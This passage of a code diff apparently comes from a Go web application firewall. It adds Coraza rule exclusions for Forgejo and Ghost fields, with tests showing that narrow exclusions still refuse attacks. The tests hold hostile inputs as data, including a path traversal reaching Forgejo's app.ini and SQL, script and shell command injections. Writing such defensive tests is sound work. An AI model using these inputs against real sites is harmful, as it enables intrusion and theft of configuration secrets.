r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// So does the JSON field mail.
for _, target := range []string{
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
drupalJSONRegister,
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
+145
View File
@@ -0,0 +1,145 @@
# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused
# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that
# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo
# sends and gitea does not. Each exclusion runs with the request, before the
# rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused.
# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it
# while SWW_WAF_APPS is unset, or lists forgejo for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_forgejo itself.
SecRule &TX:app_forgejo "@eq 0" \
"id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
# Forgejo's search of a wiki sends the text searched for in q, which skips
# these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
"id:900680,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's search of a repository's code at a branch or a tag sends the text
# searched for in q. The search box on a repository's home page sends it there
# when Forgejo has no code indexer, as by default. A branch or tag name can
# hold a slash, as feat/docker-support does. q skips there the rules it skips
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
# Forgejo's searches there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so a path under /api/ gets none of this.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
"id:900681,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of that search has the search's address in
# Referer, which skips these rules then, as after gitea's searches (900601 in
# gitea.conf):
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A path under /api/ is left out here too.
SecRule REQUEST_HEADERS:Referer \
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
"id:900684,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# Forgejo's search of a repository's releases, on its page and in the API,
# matches q against each release's title and tag. A tag name can hold a slash.
# q skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so /api/v1/releases is not one.
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
"id:900682,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The API's search of a job's log sends the text searched for in q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
"id:900683,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's admin page searches the names of repositories in q on /admin/repos,
# which skips the list of command names (932260) there. It refused python3.
SecRule REQUEST_FILENAME "@streq /admin/repos" \
"id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo renames a branch on its own path, where from and to name branches.
# They skip these rules:
# 932120: fix-powershell-module
# 932260: feat/docker-support
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
# nothing when the query has a parameter of the same name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
"id:900666,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
ctl:ruleRemoveTargetById=932260;ARGS:from,\
ctl:ruleRemoveTargetById=932120;ARGS:to,\
ctl:ruleRemoveTargetById=932260;ARGS:to"
SecMarker END_FORGEJO
+169
View File
@@ -0,0 +1,169 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// forgejo is Forgejo's name in SWW_WAF_APPS.
const forgejo = "forgejo"
// forgejoHost is the hostname of the tests of SWW_WAF_APPS that serves Forgejo.
const forgejoHost = "code.example"
func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
forgejoHost: {forgejo}, otherHost: {wordpress},
})
// A search of a wiki, a search of the admin page, and a file name in
// Forgejo's flash cookie, which only Forgejo's fixes let through.
for _, fixed := range []struct {
request request
result coreruleset.Result
}{
{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
{get("/admin/repos?q=python3"), matched(932260)},
{
get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
} {
wantResult(
t,
crs,
withHost(fixed.request, forgejoHost),
coreruleset.Result{},
)
wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
}
}
func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
for _, fixed := range giteaFixed {
wantResult(
t,
crs,
withHost(fixed.request, forgejoHost),
coreruleset.Result{},
)
}
}
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
// a wiki, of releases, of a job's log and of the admin page, from Forgejo's
// fixes, and the searches for a name, from gitea's. The search of code at a
// branch or tag is not one of them: there, as on gitea's search of code, q
// lets these attacks through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{
"/alice/tools/wiki/search",
"/alice/tools/releases",
"/api/v1/repos/alice/tools/releases",
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
"/admin/repos",
"/explore/repos",
"/explore/users",
"/alice/tools/branches",
"/alice/-/packages",
"/api/v1/packages/alice",
"/alice",
}
// forgejoAttacks are an SQL injection, a path traversal, a script injection
// and a shell command after a ";", as query values.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoAttacks = []string{
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
}
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, path := range forgejoSearches {
for _, attack := range forgejoAttacks {
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
}
}
}
}
func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
// /bin/sh and the hard values, which q lets through on the searches
// named in Forgejo's fixes and on those of branches and packages, stay
// refused in q on paths near them and in another field on them.
// /alice/wiki/search would be the code search of a repository named
// wiki, where gitea's fixes let q through. Forgejo has no owner
// named api, so the paths under /api/ here are not searches.
for _, target := range []string{
"/alice/tools/wiki/Home?q=",
"/alice/tools/wiki/search/x?q=",
"/api/wiki/search?q=",
"/alice/tools/wiki/search?other=",
"/alice/tools/search/branch?q=",
"/alice/tools/search/commit/0123abc?q=",
"/alice/tools/src/branch/main?q=",
"/api/tools/search/branch/main?q=",
"/alice/tools/search/branch/main?other=",
"/alice/tools/releases/tag/v1.0?q=",
"/alice/tools/releases/latest?q=",
"/api/v1/releases?q=",
"/alice/tools/releases?other=",
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
"/alice/tools/branches/x?q=",
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} {
for _, value := range slices.Concat([]string{binSh}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
// Referer keeps its rules on a page opened from a path near the code
// search at a branch or tag.
for _, path := range []string{
"/alice/tools/search/branch",
"/alice/tools/search/commit/0123abc",
"/api/tools/search/branch/main",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
}
+531
View File
@@ -0,0 +1,531 @@
# Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
# ordinary Ghost requests there. Each exclusion runs with the request, before the
# rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request a rule refused. An exclusion on a field of
# a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
#
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
# and members call /members/api/. The admin calls ActivityPub, a service of its
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
# path, so the title of the first post saved is json.posts.0.title.
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
# while SWW_WAF_APPS is unset, or lists ghost for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_ghost itself.
SecRule &TX:app_ghost "@eq 0" \
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
# filter, a query in Ghost's own filter language, skips seven rules on the
# Admin API and the Content API:
# 932120: filter=tag:powershell, filter=name:~'powershell'
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
# post picker sends when a person types that title
# 932380: filter=title:~'python3 & powershell'
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
"id:900350,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
ctl:ruleRemoveTargetById=932380;ARGS:filter"
# search, the search for a member by name or address, skips four rules on the
# Admin API:
# 930120: search=.htaccess
# 932120: search=powershell
# 932250: search=ls -la
# 932260: search=python3
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900351,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:search,\
ctl:ruleRemoveTargetById=932120;ARGS:search,\
ctl:ruleRemoveTargetById=932250;ARGS:search,\
ctl:ruleRemoveTargetById=932260;ARGS:search"
# url, the address the editor looks up for an embed or a bookmark, skips two
# rules:
# 930120: url=https://github.com/example/site/blob/main/.htaccess
# 932120: url=https://example.com/blog/powershell-tips
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
"id:900352,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The query fields that filter the analytics skip the eight rules that 900353
# lists, on /ghost/api/admin/stats/:
# 932120: source=powershell.example.com
# 932235, 932260: utm_campaign=powershell & python3
# 932250: utm_term=ls -la
# These fields filter the figures by the site a visit came from, or a
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
# utm_term.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900367,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
# pathname, the page the analytics show, skips three rules on
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
# 930120: pathname=/tag/proc/
# 932120: pathname=/python3-and-powershell/
# 932260: pathname=/tag/python3/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900385,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
# email_segment, the members a post is sent to as a newsletter, skips 932120
# on the Admin API's posts: email_segment=label:powershell-users.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900368,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
# query, a search for an account in ActivityPub, skips the eight rules that
# 900353 lists: query=python3, query=@powershell@example.com.
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
"id:900369,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
ctl:ruleRemoveTargetById=932120;ARGS:query,\
ctl:ruleRemoveTargetById=932125;ARGS:query,\
ctl:ruleRemoveTargetById=932230;ARGS:query,\
ctl:ruleRemoveTargetById=932235;ARGS:query,\
ctl:ruleRemoveTargetById=932250;ARGS:query,\
ctl:ruleRemoveTargetById=932260;ARGS:query,\
ctl:ruleRemoveTargetById=932380;ARGS:query"
# The fields a person types plain text into skip eight rules on the Admin API,
# which refused words that name commands and files:
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
# 932120: the page's slug about-python3-powershell-htaccess
# 932125, 932230, 932250: the tag "Linux & ls -la"
# 932235: the title "powershell & python3"
# 932260: the tag python3
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
# These fields hold plain text:
# title, name and slug of posts, pages, tags, labels, members, newsletters
# and snippets; a post's tags and a member's labels, by name or slug
# custom_excerpt, description, note and sender_name
# meta_title, meta_description, og_title, og_description, twitter_title and
# twitter_description
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900353,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
# name, the name a member saves at /members/api/, skips the same eight rules.
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900359,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
# More fields of plain text skip the same eight rules on the Admin API, which
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
# "powershell & python3 deal" in them:
# users.<n>.name, slug, bio, location and website, a staff user's profile
# setup.<n>.blogTitle and name, creating the first staff user
# invitation.<n>.name, accepting a staff invitation
# tiers.<n>.name, description and benefits
# offers.<n>.name, code, display_title and display_description
# recommendations.<n>.title, description and excerpt
# integrations.<n>.name and description, and webhooks.<n>.name
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
# of pages
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900370,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
# A member's comment, html at /members/api/comments/, skips the same eight
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
# rules for scripts and HTML still refuse a <script> element, an event handler
# and a javascript: link in it.
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
"id:900371,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
# labels, which the admin gives the members imported from a CSV file at
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
# "python3 import" and "powershell & .htaccess".
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
"id:900372,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:labels "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
ctl:ruleRemoveTargetById=932380;ARGS:labels"
# In ActivityPub, a note's or a reply's text and the description of its image,
# and an account's name, username and bio, skip the same eight rules. They
# refused "Trying python3 & powershell", the image's description "A terminal
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
# tips". Each field skips them on its own path:
# content and image.altText, posting a note at
# /.ghost/activitypub/v1/actions/note or a reply under
# /.ghost/activitypub/v1/actions/reply/
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
"id:900373,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
"id:900374,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
